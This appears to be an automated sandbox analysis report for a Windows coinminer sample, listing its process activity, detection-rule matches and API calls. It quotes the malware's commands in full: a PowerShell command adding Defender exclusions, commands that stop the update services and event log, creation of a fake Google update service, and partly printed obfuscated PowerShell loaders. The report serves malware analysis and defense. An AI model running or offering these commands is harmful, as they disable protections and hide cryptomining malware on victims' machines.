Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD346716BF	29_2_00007FFD346716BF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD3467E339	29_2_00007FFD3467E339
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD346736F1	29_2_00007FFD346736F1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD346716FA	29_2_00007FFD346716FA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD3467BFF2	29_2_00007FFD3467BFF2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFD34740001	29_2_00007FFD34740001
Source: C:\Windows\System32\conhost.exe	Code function: 32_3_000001D29E891FF4	32_3_000001D29E891FF4
Source: C:\Windows\System32\conhost.exe	Code function: 32_3_000001D29E8A3CD8	32_3_000001D29E8A3CD8
Source: C:\Windows\System32\conhost.exe	Code function: 32_3_000001D29E89D510	32_3_000001D29E89D510
Source: C:\Windows\System32\conhost.exe	Code function: 32_2_000001D29E8C2BF4	32_2_000001D29E8C2BF4
Source: C:\Windows\System32\conhost.exe	Code function: 32_2_000001D29E8D48D8	32_2_000001D29E8D48D8
Source: C:\Windows\System32\conhost.exe	Code function: 32_2_000001D29E8CE110	32_2_000001D29E8CE110
Source: C:\Windows\System32\dllhost.exe	Code function: 45_2_0000000140001CF0	45_2_0000000140001CF0
Source: C:\Windows\System32\dllhost.exe	Code function: 45_2_0000000140002D54	45_2_0000000140002D54
Source: C:\Windows\System32\dllhost.exe	Code function: 45_2_0000000140001274	45_2_0000000140001274
Source: C:\Windows\System32\dllhost.exe	Code function: 45_2_0000000140002434	45_2_0000000140002434
Source: C:\Windows\System32\dllhost.exe	Code function: 45_2_00000001400031D8	45_2_00000001400031D8
Source: C:\Windows\System32\winlogon.exe	Code function: 50_3_000002D016581FF4	50_3_000002D016581FF4
Source: C:\Windows\System32\winlogon.exe	Code function: 50_3_000002D01658D510	50_3_000002D01658D510
Source: C:\Windows\System32\winlogon.exe	Code function: 50_3_000002D016593CD8	50_3_000002D016593CD8
Source: C:\Windows\System32\winlogon.exe	Code function: 50_2_000002D0165E2BF4	50_2_000002D0165E2BF4
Source: C:\Windows\System32\winlogon.exe	Code function: 50_2_000002D0165EE110	50_2_000002D0165EE110
Source: C:\Windows\System32\winlogon.exe	Code function: 50_2_000002D0165F48D8	50_2_000002D0165F48D8
Source: C:\Windows\System32\lsass.exe	Code function: 64_3_000002D6F14F3CD8	64_3_000002D6F14F3CD8
Source: C:\Windows\System32\lsass.exe	Code function: 64_3_000002D6F14ED510	64_3_000002D6F14ED510
Source: C:\Windows\System32\lsass.exe	Code function: 64_3_000002D6F14E1FF4	64_3_000002D6F14E1FF4
Source: C:\Windows\System32\lsass.exe	Code function: 64_2_000002D6F15248D8	64_2_000002D6F15248D8
Source: C:\Windows\System32\lsass.exe	Code function: 64_2_000002D6F151E110	64_2_000002D6F151E110
Source: C:\Windows\System32\lsass.exe	Code function: 64_2_000002D6F1512BF4	64_2_000002D6F1512BF4
Source: C:\Windows\System32\dialer.exe	Code function: 65_2_0000000140003250	65_2_0000000140003250
Source: C:\Windows\System32\dialer.exe	Code function: 65_2_00000001400027D0	65_2_00000001400027D0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 67_2_00007FFD3469DD58	67_2_00007FFD3469DD58
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 67_2_00007FFD34699F4D	67_2_00007FFD34699F4D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 67_2_00007FFD34696CC5	67_2_00007FFD34696CC5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 67_2_00007FFD34693E41	67_2_00007FFD34693E41
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 67_2_00007FFD3469E329	67_2_00007FFD3469E329
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 67_2_00007FFD3469DBC5	67_2_00007FFD3469DBC5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 67_2_00007FFD3469DC31	67_2_00007FFD3469DC31
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 67_2_00007FFD349168F3	67_2_00007FFD349168F3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 67_2_00007FFD349151D2	67_2_00007FFD349151D2
Source: C:\Windows\System32\conhost.exe	Code function: 68_3_00000146F6AD1FF4	68_3_00000146F6AD1FF4
Source: C:\Windows\System32\conhost.exe	Code function: 68_3_00000146F6ADD510	68_3_00000146F6ADD510
Source: C:\Windows\System32\conhost.exe	Code function: 68_3_00000146F6AE3CD8	68_3_00000146F6AE3CD8
Source: C:\Windows\System32\conhost.exe	Code function: 68_2_00000146F6B02BF4	68_2_00000146F6B02BF4
Source: C:\Windows\System32\conhost.exe	Code function: 68_2_00000146F6B0E110	68_2_00000146F6B0E110
Source: C:\Windows\System32\conhost.exe	Code function: 68_2_00000146F6B148D8	68_2_00000146F6B148D8
Source: C:\Windows\System32\svchost.exe	Code function: 69_3_0000014E41FAD510	69_3_0000014E41FAD510
Source: C:\Windows\System32\svchost.exe	Code function: 69_3_0000014E41FB3CD8	69_3_0000014E41FB3CD8
Source: C:\Windows\System32\svchost.exe	Code function: 69_3_0000014E41FA1FF4	69_3_0000014E41FA1FF4
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_0000014E41FDE110	69_2_0000014E41FDE110
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_0000014E41FE48D8	69_2_0000014E41FE48D8
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_0000014E41FD2BF4	69_2_0000014E41FD2BF4
Source: C:\Windows\System32\dwm.exe	Code function: 70_3_000001D15B063CD8	70_3_000001D15B063CD8
Source: C:\Windows\System32\dwm.exe	Code function: 70_3_000001D15B05D510	70_3_000001D15B05D510
Source: C:\Windows\System32\dwm.exe	Code function: 70_3_000001D15B051FF4	70_3_000001D15B051FF4
Source: C:\Windows\System32\dwm.exe	Code function: 70_2_000001D15B0948D8	70_2_000001D15B0948D8
Source: C:\Windows\System32\dwm.exe	Code function: 70_2_000001D15B08E110	70_2_000001D15B08E110
Source: C:\Windows\System32\dwm.exe	Code function: 70_2_000001D15B082BF4	70_2_000001D15B082BF4

Source: Joe Sandbox View

Dropped File: C:\Windows\Temp\xptjtnajcbas.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5

Source: egFMhHSlmf.exe

Static PE information: invalid certificate

Source: unknown	Process created: Commandline size = 5379
Source: unknown	Process created: Commandline size = 5435

Source: 66.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 66.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 66.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000042.00000002.3442004748.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25

Source: classification engine

Classification label: mal100.troj.adwa.spyw.evad.mine.winEXE@97/17@5/5

Source: C:\Windows\System32\dllhost.exe

Code function: 45_2_0000000140002D54 GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,RegOpenKeyExW,RegQueryValueExW,RegQueryValueExW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,RegQueryValueExW,RegQueryValueExW,RegCloseKey,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,ShellExecuteW,GetProcessHeap,HeapFree,SleepEx,

45_2_0000000140002D54

Source: C:\Windows\System32\dialer.exe

Code function: 26_2_0000000140001614 SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,CoUninitialize,SysFreeString,SysFreeString,

26_2_0000000140001614

Source: C:\Windows\System32\dialer.exe

Code function: 26_2_0000000140001984 FindResourceExA,SizeofResource,LoadResource,LockResource,RegOpenKeyExW,RegSetValueExW,

26_2_0000000140001984

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5980:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1408:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6036:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2760:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6428:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:964:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7052:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2248:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2812:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5980:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6428:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5372:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6728:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2884:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5696:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4188:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5712:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1436:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3560:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5360:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4856:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:884:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5724:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2436:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3084:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3220:120:WilError_03
Source: C:\Windows\System32\dialer.exe	Mutant created: \BaseNamedObjects\Global\aymhdakqytvceiwv

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_neubzoxx.u5e.ps1

Jump to behavior

Source: egFMhHSlmf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"

Source: C:\Users\user\Desktop\egFMhHSlmf.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\egFMhHSlmf.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: egFMhHSlmf.exe	ReversingLabs: Detection: 73%
Source: egFMhHSlmf.exe	Virustotal: Detection: 75%

Source: C:\Users\user\Desktop\egFMhHSlmf.exe

File read: C:\Users\user\Desktop\egFMhHSlmf.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\egFMhHSlmf.exe "C:\Users\user\Desktop\egFMhHSlmf.exe"
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:OkULRfyuHQtJ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$DHHElPDheRwtsc,[Parameter(Position=1)][Type]$RGuqRFFAmI)$xKbDjiiiAOv=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+''+'e'+''+'c'+'t'+'e'+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+'o'+[Char](114)+'yMo'+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType('My'+'D'+'el'+[Char](101)+''+[Char](103)+'a'+'t'+''+'e'+''+[Char](84)+'yp'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+'ss'+[Char](44)+'Pu'+'b'+'l'+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+'e'+'a'+'l'+''+'e'+'d,'+[Char](65)+'ns'+'i'+''+[Char](67)+''+[Char](108)+'as'+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+'s',[MulticastDelegate]);$xKbDjiiiAOv.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+'e,'+'H'+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+'g'+[Char](44)+'P'+[Char](117)+'b'+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$DHHElPDheRwtsc).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+','+'Man'+'a'+'g'+[Char](101)+''+[Char](100)+'');$xKbDjiiiAOv.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'ic'+','+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+'B'+'y'+[Char](83)+''+'i'+'g'+','+'N'+[Char](101)+'w'+'S'+''+[Char](108)+''+[Char](111)+'t'+','+''+'V'+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$RGuqRFFAmI,$DHHElPDheRwtsc).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+',Ma'+[Char](110)+''+'a'+''+[Char](103)+'e'+'d'+'');Write-Output $xKbDjiiiAOv.CreateType();}$HPsmfKkDEZPEO=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+'c'+[Char](114)+''+'o'+'s'+'o'+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+'U'+'n'+''+'s'+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+'t'+''+'i'+''+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+'h'+[Char](111)+''+[Char](100)+''+[Char](115)+'');$AzPrwzsUpDJMw
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\Google\Chrome\updater.exe C:\ProgramData\Google\Chrome\updater.exe
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{ed3c9ad9-1a05-4753-a177-d35f4db59610}
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\dialer.exe dialer.exe
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:tvJmJWkkljdL{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$rUCvlIraVSkSNU,[Parameter(Position=1)][Type]$lDxjOqsFCa)$hzEPfdAIUJU=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object 